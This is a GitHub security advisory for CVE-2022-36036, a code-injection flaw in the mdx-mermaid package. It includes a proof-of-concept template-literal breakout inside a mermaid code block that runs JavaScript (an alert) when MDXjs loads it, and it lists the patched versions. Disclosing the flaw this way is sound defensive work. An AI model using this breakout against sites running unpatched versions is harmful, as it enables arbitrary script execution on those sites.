sjwall/mdx-mermaid · Security
Improper Control of Generation of Code ('Code Injection') in mdx-mermaid
- GHSA ID
- GHSA-rvgm-35jw-q628
- CVE ID
- CVE-2022-36036
- Severity
- low
- Published
- Updated
- CVSS
- 3.6 · CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N
- CVSS v3
- 3.6 · CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N
Description
Impact
Arbitary javascript injection
Modify any mermaid code blocks with the following code and the code inside will execute when the component is loaded by MDXjs
` + (function () {
// Put Javascript code here
return ''
}()) + `
The block below shows a valid mermaid code block
```mermaid
graph TD;
A-->B;
A-->C;
B-->D;
C-->D;
```
The same block but with the exploit added
```mermaid
` + (function () {
alert('vulnerable')
return ''
}()) + `
graph TD;
A-->B;
A-->C;
B-->D;
C-->D;
```
Patches
1.3.0 and 2.0.0-rc2
Workarounds
None known
CWEs
- CWE-94 · Improper Control of Generation of Code ('Code Injection')